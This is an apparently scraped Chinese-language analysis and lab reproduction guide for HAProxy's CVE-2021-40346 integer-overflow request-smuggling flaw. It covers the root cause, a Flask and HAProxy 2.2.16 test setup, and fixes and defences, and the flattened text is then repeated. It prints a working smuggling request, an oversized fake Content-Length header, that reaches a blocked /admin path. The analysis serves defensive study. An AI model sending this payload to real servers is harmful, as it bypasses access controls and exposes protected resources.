HAProxy请求走私漏洞(CVE-2021-40346)分析
字数 1285 2025-08-09 15:23:15

HAProxy请求走私漏洞(CVE-2021-40346)深入分析与复现指南

漏洞概述

CVE-2021-40346是HAProxy中存在的一个严重整数溢出漏洞,可导致HTTP请求走私攻击。该漏洞影响广泛,危害严重,已在HAProxy 2.0.25、2.2.17、2.3.14和2.4.4版本中修复。

漏洞背景

HAProxy简介

HAProxy是一个高性能的负载均衡器和反向代理,特别适用于高流量网站,支持数以万计的并发连接。它提供TCP和HTTP应用程序代理功能。

HTTP请求走私

HTTP请求走私是一种利用前端代理服务器和后端服务器对HTTP请求解析差异的攻击技术。攻击者可以:

  • 绕过安全控制(如ACL)
  • 未经授权访问敏感数据
  • 执行未授权命令或修改数据
  • 劫持用户会话
  • 利用反射型XSS漏洞

漏洞技术分析

漏洞根源

漏洞源于HAProxy处理HTTP头时的整数溢出问题,具体在解析Content-Length头时:

  1. 请求头解析机制

    • HAProxy将请求头和请求体解析为htx块结构数组
    • 每个块的blk->info字段包含类型、键长度和值长度信息
    • 计算公式:blk->info += (value.len << 8) + name.len
  2. 整数溢出点

    • name.len理论上限制为8位(0-255),但代码中无实际限制
    • name.len超过255时,会导致整数溢出,影响value.len的取值

漏洞利用原理

通过精心构造超长键名的HTTP头:

  1. 构造一个键名长度为270的伪造Content-Length
  2. 整数溢出导致:
    • 键长度被截断为14(270 % 256)
    • 值长度被设置为1(溢出进位)
  3. 结果解析为Content-Length: 0,同时忽略后续合法的Content-Length
  4. 实现请求走私,将后续数据作为独立请求发送

漏洞复现

环境搭建

  1. 后端服务

    from flask import Flask
    app = Flask(__name__)
    
    @app.route('/guest')
    def guest(): return 'Hello Guest!'
    
    @app.route('/admin')
    def admin(): return 'Hello Admin!'
    
    if __name__ == '__main__':
        app.run()
    

    使用Gunicorn启动:

    gunicorn --keep-alive 10 -k gevent --bind 0.0.0.0:5000 -w 20 main:app
    
  2. HAProxy配置(2.2.16版本):

    global
        daemon
    defaults  
        mode    http
        timeout client  50000
        timeout server  50000
        timeout connect 50000
    frontend web 
        bind *:8000  
        http-request deny if { path_beg /admin }
        default_backend websrvs
    backend websrvs 
        http-reuse always
        server srv1 flask:5000
    

攻击步骤

  1. 构造恶意请求:

    POST /guest HTTP/1.1
    Host: target.com
    Content-Length0aaaaaaaa...[270个a]:
    Content-Length: 60
    
    GET /admin HTTP/1.1
    Host: target.com
    abc: xyz
    
  2. 请求处理流程:

    • 前端HAProxy解析为单个请求到/guest
    • 后端服务器解析为两个请求:/guest/admin
    • 绕过HAProxy的/admin访问限制

漏洞修复

修复方案简单有效:

  1. 添加对HTTP头键长度的严格校验
  2. 确保name.len不超过255字节限制

防御建议

  1. 及时升级到修复版本(2.0.25+/2.2.17+/2.3.14+/2.4.4+)
  2. 在前端和后端使用相同的HTTP解析实现
  3. 禁用连接重用(http-reuse设置为never)
  4. 实施严格的HTTP头验证

总结

CVE-2021-40346展示了HTTP协议实现中整数溢出可能导致的安全问题。通过精心构造的HTTP头,攻击者可利用解析差异实现请求走私,绕过安全限制。该漏洞强调了:

  1. 边界检查的重要性
  2. 协议实现一致性的必要性
  3. 深度防御策略的价值

参考资料

  1. JFrog安全公告
  2. PortSwigger请求走私指南
  3. HAProxy官方文档
  4. HTTP走私技术详解
HAProxy请求走私漏洞(CVE-2021-40346)深入分析与复现指南 漏洞概述 CVE-2021-40346是HAProxy中存在的一个严重整数溢出漏洞,可导致HTTP请求走私攻击。该漏洞影响广泛,危害严重,已在HAProxy 2.0.25、2.2.17、2.3.14和2.4.4版本中修复。 漏洞背景 HAProxy简介 HAProxy是一个高性能的负载均衡器和反向代理,特别适用于高流量网站,支持数以万计的并发连接。它提供TCP和HTTP应用程序代理功能。 HTTP请求走私 HTTP请求走私是一种利用前端代理服务器和后端服务器对HTTP请求解析差异的攻击技术。攻击者可以: 绕过安全控制(如ACL) 未经授权访问敏感数据 执行未授权命令或修改数据 劫持用户会话 利用反射型XSS漏洞 漏洞技术分析 漏洞根源 漏洞源于HAProxy处理HTTP头时的整数溢出问题,具体在解析 Content-Length 头时: 请求头解析机制 : HAProxy将请求头和请求体解析为htx块结构数组 每个块的 blk->info 字段包含类型、键长度和值长度信息 计算公式: blk->info += (value.len << 8) + name.len 整数溢出点 : name.len 理论上限制为8位(0-255),但代码中无实际限制 当 name.len 超过255时,会导致整数溢出,影响 value.len 的取值 漏洞利用原理 通过精心构造超长键名的HTTP头: 构造一个键名长度为270的伪造 Content-Length 头 整数溢出导致: 键长度被截断为14( 270 % 256 ) 值长度被设置为1(溢出进位) 结果解析为 Content-Length: 0 ,同时忽略后续合法的 Content-Length 头 实现请求走私,将后续数据作为独立请求发送 漏洞复现 环境搭建 后端服务 : 使用Gunicorn启动: HAProxy配置 (2.2.16版本): 攻击步骤 构造恶意请求: 请求处理流程: 前端HAProxy解析为单个请求到 /guest 后端服务器解析为两个请求: /guest 和 /admin 绕过HAProxy的 /admin 访问限制 漏洞修复 修复方案简单有效: 添加对HTTP头键长度的严格校验 确保 name.len 不超过255字节限制 防御建议 及时升级到修复版本(2.0.25+/2.2.17+/2.3.14+/2.4.4+) 在前端和后端使用相同的HTTP解析实现 禁用连接重用( http-reuse 设置为 never ) 实施严格的HTTP头验证 总结 CVE-2021-40346展示了HTTP协议实现中整数溢出可能导致的安全问题。通过精心构造的HTTP头,攻击者可利用解析差异实现请求走私,绕过安全限制。该漏洞强调了: 边界检查的重要性 协议实现一致性的必要性 深度防御策略的价值 参考资料 JFrog安全公告 PortSwigger请求走私指南 HAProxy官方文档 HTTP走私技术详解